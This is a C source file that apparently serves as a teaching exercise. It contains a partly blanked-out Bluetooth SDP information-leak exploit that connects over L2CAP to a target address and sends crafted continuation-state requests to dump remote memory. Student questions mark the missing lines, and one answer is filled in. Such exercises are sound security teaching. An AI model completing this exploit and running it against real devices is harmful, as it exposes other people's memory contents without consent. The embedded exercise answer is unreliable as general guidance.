challenge_leak.c

//copyright @
//huahuaisadog@gmail.com
//
//modified by axel.roudaut@outlook.com

/***
***Only for linux devices***
usage:
$ gcc -o leak challenge_leak.c -lbluetooth
$ sudo ./leak TARGET_ADDR LEAK_OFFSET
***/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>

#define __u8 unsigned char
#define __le16 unsigned short
#define __le32 unsigned int

struct l2cap_cmd_hdr {
	__u8       code;
	__u8       ident;
	__le16     len;
};
struct l2cap_conn_req {
	__le16     psm;
	__le16     scid;
};
struct l2cap_conf_req {
	__le16     dcid;
	__le16     flags;
	__u8       data[0];
};
struct l2cap_conf_rsp {
	__le16     scid;
	__le16     flags;
	__le16     result;
};
struct l2cap_conf_opt {
	__u8 type;
	__u8 len;
};
struct fack_opt{
	__u8 type;
	__u8 len;
	__le16 val;
};
struct l2cap_conf_efs {
	__u8 id;
	__u8 stype;
	__le16 msdu;
	__le32 sdu_itime;
	__le32 acc_lat;
	__le32 flush_to;
};
typedef struct sdp_pdu_hdr{
	uint8_t  pdu_id;
	uint16_t tid;
	uint16_t plen;
} __attribute__ ((packed)) sdp_pdu_hdr_t;

// SDP Continuation State
typedef struct {
	uint32_t timestamp;
	union {
		uint16_t maxBytesSent;
		uint16_t lastIndexSent;
	} cStateValue;
} sdp_cont_state_t;


static void print_hex(char *str, int str_len)
{
	printf("0x");
	//while(*str) // pbm stop at null bytes
	int i = 0;
	while(i < str_len){
		printf("%02x", (unsigned int) *str++);
		i++;
	}
	printf("\n");
}
static void print_l2cap_cmd_hdr(struct l2cap_cmd_hdr p){
	printf("\tl2cap_cmd_hdr:\n");
	printf("\t\tcode = %i\n", p.code);
	printf("\t\tident = %i\n", p.ident);
	printf("\t\tlen = %i\n", p.len);
}
static void print_l2cap_conn_req(struct l2cap_conn_req p){
	printf("\tl2cap_conn_req:\n");
	printf("\t\tpsm = %i\n", p.psm);
	printf("\t\tscid = %i\n", p.scid);
}
static void print_l2cap_conf_req(struct l2cap_conf_req p){
	printf("\tl2cap_conf_req:\n");
	printf("\t\tdcid = %i\n", p.dcid);
	printf("\t\tflags = %i\n", p.flags);
	printf("\t\tdata = ");
       	print_hex(p.data, sizeof(p.data));
}
static void print_l2cap_conf_rsp(struct l2cap_conf_rsp p){
	printf("\tl2cap_conf_rsp:\n");
	printf("\t\tscid = %i\n", p.scid);
	printf("\t\tflags = %i\n", p.flags);
	printf("\t\tresults = %i\n", p.result);
}
static void print_l2cap_conf_opt(struct l2cap_conf_opt p){
	printf("\tl2cap_conf_opt:\n");
	printf("\t\ttype = %i\n", p.type);
	printf("\t\tlen = %i\n", p.len);
}
static void print_fack_opt(struct fack_opt p){
	printf("\tfack_opt:\n");
	printf("\t\ttype = %i\n", p.type);
	printf("\t\tlen = %i\n", p.len);
	printf("\t\tval = %i\n", p.val);
}
static void print_l2cap_conf_efs(struct l2cap_conf_efs p){
	printf("\tl2cap_conf_efs:\n");
	printf("\t\tid = %i\n", p.id);
	printf("\t\tstype = %i\n", p.stype);
	printf("\t\tmsdu = %i\n", p.msdu);
	printf("\t\tsdu_itime = %i\n", p.sdu_itime);
	printf("\t\tacc_lat = %i\n", p.acc_lat);
	printf("\t\tflush_to = %i\n", p.flush_to);
}
static void print_sdp_pdu_hdr_t(sdp_pdu_hdr_t p){
	printf("\tsdp_pdu_efs:\n");
	printf("\t\tpdu_id = %i\n", p.pdu_id);
	printf("\t\ttid = %i\n", p.tid);
	printf("\t\tplen = %i\n", p.plen);
}
static void print_sdp_cont_state_t(sdp_cont_state_t p){
	printf("\tsdp_cont_state_t:\n");
	printf("\t\ttimestamp = %i\n", p.timestamp);
	printf("\t\tcStateValue = %i\n", p.cStateValue);
}

#define HEAD_LEN (sizeof(struct l2cap_cmd_hdr))
static int parse_conn_req(void *buffer, __u8 ident, __le16 len, void *data) {
	printf("\n-- parse_conn_req --\n");
	struct l2cap_cmd_hdr head;
	head.code = L2CAP_CONN_REQ;
	head.ident = ident;
	head.len = len;
	memcpy(buffer, &head, sizeof(head));
	memcpy(buffer + sizeof(head), data, len);
	print_l2cap_cmd_hdr(head);
	return len + sizeof(head);
}

#define SDP_SVC_SEARCH_ATTR_REQ 0x6
static int parse_sdp_search_attr_req(void *buffer, __le16 data_len, void *data){
	printf("\n-- parse_sdp_search_attr_req --\n");
	sdp_pdu_hdr_t pdu_head;
	int i;
	__le16 tmp;
	memset(&pdu_head, 0, sizeof(pdu_head));
	pdu_head.pdu_id = SDP_SVC_SEARCH_ATTR_REQ;
	pdu_head.tid = 0;
	tmp = ((data_len & 0xff) << 8 ) + ((data_len >> 8) & 0xff);
	pdu_head.plen = tmp;
	memcpy(buffer, &pdu_head, sizeof(pdu_head));
	memcpy(buffer + sizeof(pdu_head), data, data_len);
	print_sdp_pdu_hdr_t(pdu_head);
	return data_len + sizeof(pdu_head);
}

int main(int argc ,char* argv[]){
	int sock_fd, ret;
	int total_len;
	int i;
	int leak_offset;
	void *sdp_1, *data, *recv_sdp_2, *sdp_3, *recv_sdp_4;
	unsigned int *leak_data;
	unsigned char *p, *timestamp;
	char dest[18];
	struct sockaddr_l2 local_l2_addr;
	struct sockaddr_l2 remote_l2_addr;
	struct fack_opt fack;

	if(argc != 3){
		printf("usage : sudo ./leak TARGET_ADDR LEAK_OFFSET\n");
		return -1;
	}
	strncpy(dest, argv[1], 18);
	leak_offset = strtol(argv[2], NULL, 16);

	printf("[Part1]\n\t- Creates bluetooth socket\n");
	sock_fd = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_L2CAP);
	if(sock_fd == -1){
		perror("[-]socket create failed : ");
		return -1;
	}

	printf("\t- Binds/Assigns localhost bluetooth source address to the socket\n");
	memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2));
	local_l2_addr.l2_family = PF_BLUETOOTH;
	memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t));
	ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2));
	if(ret == -1){
		perror("[-]bind()");
		goto out;
	}

	printf("\t- Assigns destination bluetooth address and connects processing L2CAP handcheck\n");
	memset(&remote_l2_addr, 0, sizeof(remote_l2_addr));
	remote_l2_addr.l2_family = PF_BLUETOOTH;
	remote_l2_addr.l2_psm = htobs(0x1);
	str2ba(dest, &remote_l2_addr.l2_bdaddr); //convert format of a bluetooth address
	if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) {
  		perror("[-]Can't connect");
		goto out;
	}
	printf("Notice : L2CAP Default MTU = 672\n");
	sleep(2);

	printf("\n/*----------------------------------------------------------------------*/\n");
	printf("\n[Part2] Send SDP service search attribute request to get timestamp\n");
	sdp_1 = malloc(0x100);
	memset(sdp_1, 0, 0x100);

	// Hand-crafted SDP packet data
	char sdp_1_data[] = "\x35\x03\x19\x01\x00" // L2CAP PATTERN
					  "\x00\x10"  // max attribute byte count
					  "\x35\x05\x0a\x00\x00\xff\xff" //attribute id list
					  "\x00"; //continuation state
	printf("sdp_1_data = "); print_hex(sdp_1_data, 16);
	total_len = parse_sdp_search_attr_req(sdp_1, sizeof(sdp_1_data) - 1, sdp_1_data); // add data to sdp_1 PDU
	printf("total_len = %i\n", total_len);
	printf("sdp_1 = "); print_hex(sdp_1, total_len);
	ret = send(sock_fd, sdp_1, total_len,0); // send 1st SDP pdu from raspberry to target
	printf("ret = %i bytes\n", ret);

	printf("\n/*----------------------------------------------------------------------*/\n");
	printf("\n[Part3] Receive timestamp of target\n");
	recv_sdp_2 = malloc(0x1000);
	memset(recv_sdp_2, 0, 0x1000);
	sleep(1);
	ret = recv(sock_fd, recv_sdp_2, 0x100, 0); // returns the length of the message in bytes, or -1 if error
	printf("ret = %i\n", ret);
	printf("recv_sdp_2 = "); print_hex(recv_sdp_2, ret);
	if(ret == -1){
		perror("[-]recv : ");
		goto clean;
	}
	
	printf("\nNOTICE:\ntypedef struct {\n\tuint32_t timestamp;\n\tunion {\n\t\tuint16_t maxBytesSent;\n\t\tuint16_t lastIndexSent;\n\t} cStateValue;\n} sdp_cont_state_t;\n\n");
	// QUESTION 1
	printf("\n\t1) HERE analyse SDP service serach response in Wireshark and the used struct sdp_cont_state_t to find the timestamp value\n\n");
	timestamp = ""; // Modify this line
	printf("timestamp = "); print_hex(timestamp, 4);
	
	printf("\n/*----------------------------------------------------------------------*/\n");
	printf("\n[Part4] Send vuln search_attr_req to get leak data\n");
	sdp_3 = malloc(0x100);
	memset(sdp_3, 0, 0x100);
	
	// Hand-crafted SDP packet data
	char tmp_data[] = "\x35\x03\x19\x01\x00" // L2CAP PATTERN
					  "\xff\xff"  // max attr byte count
					  "\x35\x05\x0a\x00\x00\xff\xff" //attribute id list
					  "\x08"; //continue state size
	printf("tmp_data = ", tmp_data); print_hex(tmp_data, 16);
	char sdp_3_data[100] = {'\0'};
	
	sdp_cont_state_t vul_cstate; // the SDP continuation state we will use to leak data
	// QUESTION 2
	printf("\n\t2) HERE find how to go in part of code 'continuation State exists -> get from cache'\n\n");
	// memcpy(&vul_cstate.??, ??, 4);

	// QUESTION 3
	printf("\n\t3) HERE find how to use vul_cstate to leak data pointed by leak_offset\n\n");
	// vul_cstate.? = leak_offset;  //leak data offset defined in argv[2]

	// Add data to SDP packet and send it
	int size_effective_data = sizeof(tmp_data) - 1;
	memcpy(sdp_3_data, tmp_data, size_effective_data); // add crafted hand-crafted tmp_data
	memcpy(sdp_3_data + sizeof(tmp_data) - 1, &vul_cstate, 8); // add vul_cstate to data
	size_effective_data += 8;
	printf("sdp_3_data = "); print_hex(sdp_3_data, sizeof(sdp_3_data));
	
	total_len = parse_sdp_search_attr_req(sdp_3, size_effective_data, sdp_3_data); // add data to SDP packet
	printf("total_len = %i\n", total_len);
	printf("sdp_3 = "); print_hex(sdp_3, total_len);
	ret = send(sock_fd, sdp_3, total_len, 0); // returns the length of the message in bytes.
	printf("ret = %i\n", ret);

	printf("\n/*----------------------------------------------------------------------*/\n");
	printf("\n[Part5] Receive leak data\n");
	recv_sdp_4 = malloc(0x1000);
	memset(recv_sdp_4, 0, 0x1000);
	ret = recv(sock_fd, recv_sdp_4, 0x1000, 0); // returns the length of the message in bytes or -1 if errror.
	printf("ret = %i\n", ret);
	printf("recv_sdp_4 =  "); print_hex(recv_sdp_4, ret);
	if(ret == -1) {
		perror("[-]recv : ");
		goto clean;
	}
	// QUESTION 4
	printf("\n\t4) HERE you have to find the leaked data from the receive SDP PDU\n\n");
	leak_data = (unsigned int *)(0x00) ;  // Modify 0x00 by the correct value
	leak_data = (unsigned int *)(recv_sdp_4 + 0x10); // ANSWER

	printf("\nleak_data : \n");
	for(i = 0; i < ret/sizeof(unsigned int) ; i++) {
		if(i % 4 == 0)
			printf("%08x : ", i/4 * 0x10);
		printf("%08x " ,leak_data[i]);
		if(i % 4 == 3)
			printf("\n");
	}

	printf("[+]test done\n");
clean:
	free(sdp_1);
	free(recv_sdp_2);
	free(sdp_3);
	free(recv_sdp_4);
out:
	close(sock_fd);
	return 0; 
}